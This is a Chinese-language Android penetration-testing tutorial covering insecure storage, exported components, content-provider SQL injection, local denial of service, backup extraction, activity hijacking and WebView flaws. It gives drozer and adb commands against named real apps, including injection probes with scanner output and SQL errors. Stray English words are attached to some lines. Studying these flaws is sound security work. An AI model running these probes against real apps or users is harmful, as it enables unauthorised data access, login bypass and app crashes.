3. 移动安全渗透测试-(Android基础漏洞)

3.1 数据存储漏洞

 

用户常常会把敏感数据交给app,好比:
用户名and密码
认证令牌
联系人记录
通讯记录
历史使用记录
.....html

只要愿意,app能够收集这些用户的隐私和我的信息明文存储或明文传输,一般保存在本地,也不排除上传到网络
• 本地保存
• 网络保存java

本地保存

• SharedPreferences
data/data/程序包名/shared_prefs/*.xml
建立配置文件时没有使用MODE_PRIVATE模式,致使其余程序能够读取配置文件,root用户可读android

 

• SQLiteDatabases


data/data/程序包名/database/*.db
建立数据库时没有使用MODE_PRIVATE模式git


• InternalStorage


data/data/程序包名/files/*
没有使用MODE_PRIVATE模式github


• ExternalStorage


/mnt/sdcard/*web


扩展阅读
http://www.droidsec.cn/android-database配置模式安全风险浅析/
http://www.droidsec.cn/android本地数据存储:internal-storage安全风险浅析/sql

3.2 组件暴露漏洞

一、android:exported


四大组件中都有的一个属性:android:exported
export为true,表示能够被外部调用;export若是为false,表示不能够被外部调用
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog"
android:export="true">
</activity>
数据库

在定义四大组件时,常常是不写export这个标签的,系统默认的export是什么?
若是四大组件包含intent-filter,那么Android系统认为这个组件能够被外部经过隐式调用,因此默认export为true
若是四大组件不包含intent-filter,那么Android系统认为这个组件值只能够被内部经过显式调用,因此默认export为false安全


二、简单测试


adb forward tcp:31415 tcp:31415
drozer console connect网络

肯定攻击面
run app.package.attacksurface 包名
获取activity信息
run app.activity.info –a包名
启动activity
run app.activity.start --component包名 包名.XXActivity

绕过认证
activity暴露后被第三方调用,可能在没有密码的状况下登陆/重置密码

越权行为
低权限程序经过调用高权限程序暴露的组件,执行高权限动做


三、组件的权限控制


为了增长四大组件的安全,能够定义访问某个组件须要某个权限
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog" >
android:permission="com.example.test.permission"
</activity>

 

<permission android:name="com.example.test.permission"
android:protectionLevel="dangerous"
android:label="test"
android:description="test_permission" />

若是须要使用必须在AndroidManifest.xml,经过申请权限
调用组件者声明:<uses-permission android:name="com.example.test.permission" />
android:protectionLevel,若是是Signature,那么只有和这个应用使用相同私钥签名的应用才能够申请这个权限。

 


扩展阅读
https://bugs.secquan.org/bugs/WooYun-2014-48501
http://www.droidsec.cn/content-provider文件目录遍历漏洞浅析/

3.3 APP中的SQL注入漏洞

链接上模拟器/真机

nox_adb.exe connect 127.0.0.1:62001

端口转发,转发到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415


开启Drozer console
drozer console connect


获取Content Provider信息
run app.provider.info -a com.qijia.o2o

定位到small代码com.qijia.o2o.provider.CityProvider
content://com.qijia.o2o


检测sql注入
run scanner.provider.injection -a com.qijia.o2o
Not Vulnerable:
content://com.tencent.mm.sdk.plugin.provider/sharedpref/
content://com.sina.weibo.sdkProvider/query/package
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile
content://downloads.com.qijia.o2o
content://telephony/carriers/preferapn/
content://com.tencent.mm.sdk.comm.provider/openRankList
content://com.tencent.mm.sdk.comm.provider/joinChatroom/
content://com.tencent.mm.sdk.comm.provider/createChatroom/
content://downloads./
content://com.tencent.mm.sdk.comm.provider/addCardToWX/
content://com.qijia.o2o/full/
content://com.qijia.o2o/children
content://com.qijia.o2o/children/
content://com.qijia.o2o/
content://com.sina.weibo.sdkProvider/query/package/
content://telephony/carriers/preferapn
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney
content://downloads.com.qijia.o2o/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession/
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile/
content://orm
content://com.qijia.o2o/full
content://com.tencent.mm.sdk.comm.provider/addCardToWX
content://com.tencent.mm.sdk.comm.provider/joinChatroom
content://orm/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession
content://com.tencent.mm.sdk.plugin.provider/sharedpref
content://com.tencent.mm.sdk.comm.provider/createChatroom
content://com.tencent.mm.sdk.comm.provider/openWebview/
content://com.qijia.o2o
content://com.tencent.mm.sdk.comm.provider/openRankList/
content://com.tencent.mm.sdk.comm.provider/openWebview
content://downloads.
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney/

Injection in Projection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/

Injection in Selection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/


使sql语句报错
run app.provider.query content://com.qijia.o2o/provinces --projection "'"
unrecognized token: "' FROM areas WHERE parent = ''" (code 1): , while compilin
g: SELECT ' FROM areas WHERE parent = ''

开启一个web服务,能够和手机上的content provider链接,还能够和sqlmap联合使用
run auxiliary.webcontentresolver


http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection='
SELECT ' FROM areas WHERE parent =

http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection=*#
SELECT ‘ FROM areas WHERE parent =

SELECT * FROM areas WHERE parent =

 

3.4 本地拒绝服务攻击漏洞

Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获

攻击者经过intent发送空数据、异常或畸形数据给受害者应用,致使其崩溃


本地拒绝服务漏洞不只能够致使安全防御等应用的防御功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等)

并且也可被竞争方应用利用来攻击,使得本身的应用崩溃,形成不一样程度的经济利益损失

测试
肯定攻击面
dz> run app.package.attacksurface 包名
获取activity信息
dz> run app.activity.info -a com.nineteenlou.nineteenlou
启动activity
dz> run app.activity.start --component com.nineteenlou.nineteenlou com.tencent.tauth.TAuthView
获取广播组件信息
run app.broadcast.info -a 包名
向广播组件发送空action
dz> run app.broadcast.send --component包名 广播组件名


详细分析和修复
Android客户端信息泄露以及拒绝服务漏洞
https://bugs.secquan.org/bugs/WooYun-2015-119959

https://www.secpulse.com/archives/3859.html

3.5 allowbackup备份风险

AndroidManifest.xml 配置文件中显式配置了android:allowBackup=true
备份
adb backup -f E:\back.ab -noapk 包名
能够输入密码也能够不输入

使用android-backup-extractor(abe)工具来解析ab文件
https://github.com/nelenkov/android-backup-extractor/releases

java -jar abe.jar unpack back.ab applock.tar

SmartLockConfig.xml

实际案例:
某密码锁未root备份:https://blog.csdn.net/qq_31387043/article/details/51452782
微博app备份:https://blog.csdn.net/chuyouyinghe/article/details/53609806

3.6 activity 劫持

用户打开安卓手机上的某一应用,进入到登录页面
这时,恶意软件侦测到用户的这一动做,当即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity
用户几乎没法察觉,该用户接下来输入用户名和密码的操做实际上是在恶意软件的Activity上进行的

 

Activity劫持实例与防御手段
http://blog.chinaunix.net/uid-29170659-id-4930737.html

3.7 webview明文存储,代码执行,同源策略等其余漏洞

WebView

如今不少App里都内置了Web网页(Hyprid App),好比说不少电商平台,淘宝、京东、聚划算等等


功能是由 Android的WebView 实现的
WebView 使用过程当中存在许多漏洞,容易形成用户数据泄露等等危险

 

webview-file域同源策略


http://www.droidsec.cn/webview-file域同源策略绕过漏洞浅析/

 

WebView 明文存储


案例:https://bugs.secquan.org/bugs/WooYun-2013-20246
WebView默认开启密码保存功能 :

myWebView.setSavePassword(true)

 

WebView代码执行


https://www.52pojie.cn/thread-322022-1-1.html
https://blog.csdn.net/u012195899/article/details/68942725

 

WormHole虫洞漏洞


https://blog.csdn.net/jltxgcy/article/details/50686858

应用克隆漏洞分析 https://blog.csdn.net/xwh_1230/article/details/79045251